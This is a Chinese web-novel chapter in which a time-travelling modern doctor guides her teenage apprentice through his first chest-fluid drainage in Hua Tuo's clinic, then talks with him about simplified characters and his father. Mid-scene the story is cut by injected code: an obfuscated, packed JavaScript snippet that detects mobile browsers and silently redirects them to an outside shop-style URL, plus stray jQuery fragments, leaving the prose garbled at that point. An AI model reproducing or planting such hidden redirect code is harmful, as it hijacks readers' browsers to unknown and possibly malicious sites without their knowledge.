张玄在济世堂待了一年多。
他还是那张圆脸，还是那双黑亮的眼睛，还是一开口就停不下来的老毛病。可天天和他在一起的顾湘能感觉到，有什么东西在悄悄变硬、变沉——就像一棵树，地面上看不出高了多少，地下的根却扎深了。
他十五岁了。
不再是那个叽叽喳喳的少年，而是一个沉稳了许多的青年。说“沉稳”，倒不是说他变安静了——他的话还是多，多得有时候顾湘想把他的嘴缝上。可话的内容变了。
以前是问“为什么”。
“师娘，为什么伤口会化脓？”“师娘，为什么发烧要吃柴胡？”“师娘，为什么人的血是红的？”问得顾湘头疼，问得华佗都偶尔露出“这孩子怎么还没问完”的表情。
现在是问“怎么办”。
“师娘，这个病人的咳嗽，我听了他的肺部，右边比左边声音低。是不是肺里有积水？”
说这话的时候，张玄正蹲在诊室的地上，手里捏着顾湘自制的“听筒”——一根空心的细竹管，约莫一尺长，一端打磨成喇叭口，可以扣在病人胸口；另一端削得光滑圆润，正好贴住耳朵。这东西简陋得不像话，可张玄用得比什么都金贵，每次用完都要用盐水擦洗，晾干了收进布套里，生怕磕着碰着。
今天是初秋。
诊室的门大敞着，风从院子里灌进来，带着晒干的草药味——川芎、白芷、薄荷，混在一起，清凉中透着一丝苦。病人是个五十多岁的男人，坐在矮凳上，上身赤裸，露出瘦削的脊背。他的皮肤是暗黄色的，肋骨的轮廓像枯枝一样突出来，每一次呼吸都牵动着肩胛骨上下滑动。他已经咳了两个月，近来胸闷得厉害，走几步路就要停下来喘气。
张玄跪在病人身后，一只手扶着病人的肩膀，另一只手把竹听筒贴在病人背部。他的动作很轻，像怕弄疼病人似的。听筒在背部缓缓移动，从左到右，从上到下，每一寸都没有遗漏。
顾湘站在门口，看着他的背影。
她注意到张玄的眉头微微皱了起来——不是困惑的皱，而是判断的皱。他在做鉴别诊断。这让她想起医学院教授说过的话：一个好医生，耳朵比嘴巴有用。
张玄把听筒从病人背部拿开，转过身看着顾湘。
“师娘，你听一下。右边肺的下半部分，声音明显比左边闷。左边是清的，右边像隔着一层布。”
他站起来，把听筒递给顾湘。顾湘注意到他递听筒的时候手很稳——一年前，他递什么东西都是递到一半就开始晃，生怕别人不接似的。
顾湘接过听筒，贴在病人背部，闭上了眼睛。
呼吸音。右肺下叶，确实有浊音区。不是完全听不到呼吸音，而是声音发闷、发钝，像隔着一层厚布在听。吸气的时候，有一种细微的、像用手指在湿陶罐上摩擦的声音——那是积液在呼吸运动中被搅动的声音。
她睁开眼睛，把听筒收好。
“你说得对。右肺下叶有明显的浊音区，很可能是胸腔积液。”她看着张玄，“你打算怎么治？”
张玄把听筒塞进腰间的布套里，蹲下来，两只手搭在膝盖上，开始想。他的嘴唇微微翕动，像是在自言自语。这是他的习惯——想问题的时候嘴里会念念有词，声音小到只有自己能听见。
顾湘没有催他。
诊室里安静了一会儿。病人不安地动了动，转头看看张玄，又看看顾湘，想问什么又不敢问。
张玄忽然开口了。
“如果积液不多，让身体自己吸收。”他说，语速比平时慢，每个字都像是从脑子里挖出来的，“如果多，就要抽出来。”
“怎么抽？”
张玄的手指在地上画了个圈。
“用……用针管？”
顾湘摇了摇头：“我们没有针管。但有一个古老的方法——胸腔穿刺。用粗银针从肋骨之间刺入胸腔，把积液引流出来。”
张玄的手指停住了。
他抬起头，眼睛瞪大了，瞳孔里映着从窗口照进来的秋日阳光。顾湘看见他的喉结上下动了一下——他在咽口水。
“那不会扎到肺吗？”他的声音比刚才高了一点。
“会。所以位置要准，深度要准。偏上一点点，扎到肋骨下缘的神经血管束，病人会大出血；偏下一点点，扎穿膈肌，进入腹腔，引起腹膜炎；扎深了，针尖刺入肺组织，引起气胸，病人会当场喘不上气。”
顾湘说这些的时候语气很平静，就像在说今天吃什么饭一样平常。可她每说一句，张玄的脸色就白一分。说到“气胸”的时候，张玄的嘴唇已经没什么血色了。
病人听得脸都绿了，下意识地往后缩了一下：“两位先生，要不……要不我吃点药算了？”
张玄深吸一口气。
他站起来，走到病人身后，把手放在病人背上，摸了摸肋骨的走向。顾湘看着他的手指——从左到右数肋骨，第二肋、第三肋、第四肋……手指停在第七肋的位置，然后往下挪了两指，到第九肋间隙。
“师娘，是这个位置吗？”
他的声音在发紧。不是害怕，是紧张——一种知道自己在做什么、也知道做错了会有什么后果的紧张。
“差不多。再往下一指。”
张玄往下移了一指。
他的手指稳稳地按在那个点上，没有再移动。
“扎。”顾湘说。
张玄的手抖了一下。
只有一下。
他从托盘里取出一根粗银针——比平时针灸用的针粗三倍，针身有七寸长，在午后的光线里泛着冷冽的白光。这是华佗特意打制的，专门用于胸腔穿刺，针尖磨成了三棱形，便于刺穿胸壁组织，又不至于太锋利而伤及内脏。
张玄把银针浸在酒里消毒，然后用一块干净的麻布擦干。他的手很稳，但顾湘注意到他的呼吸变快了——不是慌乱，是肾上腺素在分泌。一个即将做第一次胸腔穿刺的少年，身体在自动进入高度警觉的状态。
张玄左手按在第九肋间隙的上缘——避开肋骨下缘的神经血管——右手持针，针尖垂直对准皮肤。他停了一下，闭上眼睛，在脑子里把整个流程过了一遍。这是他跟华佗学的习惯——动手之前，先在脑子里做一遍。
睁开眼睛。
下针。
针尖刺破皮肤，张玄感觉到手上传来细微的阻力变化——皮肤、皮下脂肪、肌肉、肋间肌。每一层的手感都不一样。皮肤有韧性，皮下脂肪滑而软，肌肉有纤维感，肋间肌薄而紧。他在等一个感觉——突破肋间肌之后，针尖会进入一个空腔，阻力会突然消失。
张玄的手立刻停住。他拔出针芯。
淡黄色的液体顺着针管缓缓流出，在午后的阳光下闪着琥珀色的光。一滴，两滴，三滴——先是一滴一滴地渗，然后变成一条细线，沿着针身往下淌，滴进地上的陶盆里，发出细微的、像雨打芭蕉的声音。
“成功了！”
张玄的声音有点发抖，尾音上扬，像一个孩子在过年时放响了第一枚炮仗。他的脸上绽开一个巨大的笑容，露出两颗小虎牙，眼睛弯成了月牙。
“还没完。”顾湘的声音从身后传来，平静但不容置疑，“放慢一点。太快了病人会受不了。”
张玄的笑容收了一半。他深吸一口气，把注意力重新集中到针管上。
液体流出的速度太快了——胸腔内的负压被迅速破坏，膈肌上抬，纵隔摆动，病人会感到胸闷、心悸，甚至晕厥。他用手捏住针管的外口，控制着引流的速度。
一滴，等三息，再一滴。
像在数珍珠。
病人的呼吸渐渐平稳了，紧抓膝盖的手也松开了。他长长地出了一口气，说了一句：“胸口没那么闷了。”
液体从淡黄色变成了清亮色，一共大约两百毫升，刚好盖住陶盆的底部
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644553|206703||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
张玄拔出银针，用碘酒——顾湘用硫磺和酒石配制的简易消毒液——在针孔上抹了一下，然后贴上一小块干净的麻布。
“师娘，我做到了。”他说。
“做到了。”顾湘拍了拍他的肩膀，感觉到那肩膀比一年前宽了不少，“你做到了。”
张玄站起来，转向那个病人，认认真真地说：“老人家，回去注意休息，不要劳累。过几天再来看看，如果又有胸闷的感觉，随时来。”
张玄的进步不止在医术上。
这天下午，病人散了，黄婆婆去河边洗纱布，华佗在后院整理药材。诊室里只有顾湘和张玄两个人。张玄坐在案几前，面前摊着一张纸，手里拿着炭笔，正在写什么。
顾湘走过去一看——他在默写《妇人婴儿病篇》的目录。
字迹工整了很多。一年前他刚来的时候，写的字像鸡爪爬的，横不平竖不直，“一二三四”能写成“一=三冂”。顾湘气得想打他的手心，可忍住了。她教他写简体字。
一开始张玄很不习惯。“师娘，这个字少了好几笔，这还是字吗？”顾湘把“医”字的繁体“醫”写在旁边，把简体“医”写在下面，说：“你看，上面这个要写十七画，下面这个只要七画。你用哪个？”
张玄想了想，说：“下面这个。”
“为什么？”
“省时间。”
“那就用下面这个。”
他一开始写得歪歪扭扭，练了半个月就顺手了。后来他发现简体字确实省时省力，就主动用了。写方子用简体字，记笔记用简体字，连给父亲写信都用简体字。
“师娘，你这个字，比我们写的字好写。”他抬起头看着顾湘。
“那你回去教你父亲。”
张玄咧嘴笑了：“我父亲肯定不会写。他说，字是圣贤传下来的，不能改。上次我给他写信，用了师娘教的字，他回信骂了我一顿，说我‘数典忘祖’。”
顾湘也笑了。她想起自己那个时代，简化字刚推行的时候，也有很多人反对，说“親不見，愛無心”。可时间会证明一切——字只是工具，能让人看懂、好用、省时间，就够了。
“张玄，”顾湘在他对面坐下来，“你父亲是个了不起的人。可不一定要所有的事，都听他的。”
张玄放下炭笔，看着顾湘。
他的表情认真了起来，不像一个十五岁的少年，倒像一个正在思考人生的成年人。
“我知道。”他说，“我父亲有他的路，我有我的路。他写《伤寒杂病论》，我跟师娘学外科、学无菌、学人体解剖。”他停顿了一下，“等我都学会了，我就回去找他，把我学的教给他。他不一定要用，可他应该知道。”
窗外的阳光照进来，落在他脸上。少年的脸上还有未褪尽的婴儿肥，下巴的线条已经开始变得硬朗。
她忽然想起自己穿越前，医学院的入学典礼上，老校长说过一句话：“你们今天走进这扇门，是为了将来走出这扇门的时候，能让这个世界好一点点。”
张玄没有走进过医学院的门。可他已经走在了那条路上。
“师娘，”张玄忽然问，“你以前的学生，都像我这个样子吗？”
顾湘愣了一下。她穿越前确实带过实习医生——大三、大四的医学生，穿着白大褂跟在她身后查房，战战兢兢地问病史，笨手笨脚地写病历。她想了想，笑了。
“不。你比他们好。”
张玄的脸红了。
不是因为不好意思，是高兴。
那天晚上，顾湘在日记里写道：
“张玄今天做了第一次胸腔穿刺。成功了。他在我面前蹲在地上捂着脸笑，笑得眼泪都出来了。我看到了十五岁那年，自己第一次独立完成腹腔穿刺时的样子。时间不同，空间不同，可那种感觉是一样的——从知道到做到，中间隔着一整个世界的距离。他跨过来了。”